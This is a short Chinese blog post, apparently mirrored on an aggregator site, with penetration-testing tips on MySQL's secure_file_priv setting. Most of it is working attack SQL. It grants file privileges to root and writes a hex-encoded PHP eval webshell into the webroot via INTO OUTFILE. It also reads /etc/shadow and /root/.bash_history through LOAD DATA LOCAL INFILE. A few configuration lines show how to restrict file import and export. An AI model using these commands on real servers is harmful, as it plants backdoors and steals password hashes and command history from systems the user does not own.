zoukankan      html  css  js  c++  java
  • MYSQL新特性secure_file_priv对读写文件的影响

    在渗透测试的时候,我们使用into outfile快速写入一句话后门时经常会出现写入不了的情况:
    update mysql.user set file_priv='Y' where user='root';
    flush privileges;
    select concat("'",0x3C3F70687020406576616C28245F504F53545B2778275D293B3F3E) into outfile '../webroot/xxxxxx.php';
    update mysql.user set file_priv='N' where user='root';
    flush privileges;

    不能写入文件原因,可能是MYSQL新特性secure_file_priv对读写文件的影响:
    //查看配置项:
    SHOW VARIABLES LIKE "secure_file_priv"

    //如果查到了secure_file_priv的值,再执行下列命令就可以写入文件了:
    select 123 into outfile '/var/lib/mysql-files/test1.txt '

    //限制mysqld 不允许导入 | 导出:
    mysqld --secure_file_prive=null

    //限制mysqld 的导入 | 导出 只能发生在/tmp/目录下:
    mysqld --secure_file_priv=/tmp/

    //不对mysqld 的导入 | 导出做限制:
    cat /etc/my.cnf
    [mysqld]
    secure_file_priv=

    //如果没有权限,mysql还有个低权限读文件漏洞,/etc/shadow /root/.bash_history都可以读出来,下面语句测试成功 for MYSQL 5.5.53:
    drop table mysql.m1
    CREATE TABLE mysql.m1 (code TEXT );
    LOAD DATA LOCAL INFILE '/root/.bash_history' INTO TABLE mysql.m1 fields terminated by ''
    select * from mysql.m1

    点击收藏 4关注数 | 2
  • 相关阅读:
    07.进程管理+作业控制+文件查找与压缩+文件压缩与打包+tar打包解包+NFS
    反转数字
    取出列表中第N大的数
    nginx负载均衡
    DNS解析
    浅谈Http长连接和Keep-Alive以及Tcp的Keepalive
    django_orm操作
    多线程下的单例模式
    装饰器实现单例模式
    Django model 中的 class Meta 详解
  • 原文地址:https://www.cnblogs.com/pt007/p/11856917.html
Copyright © 2011-2022 走看看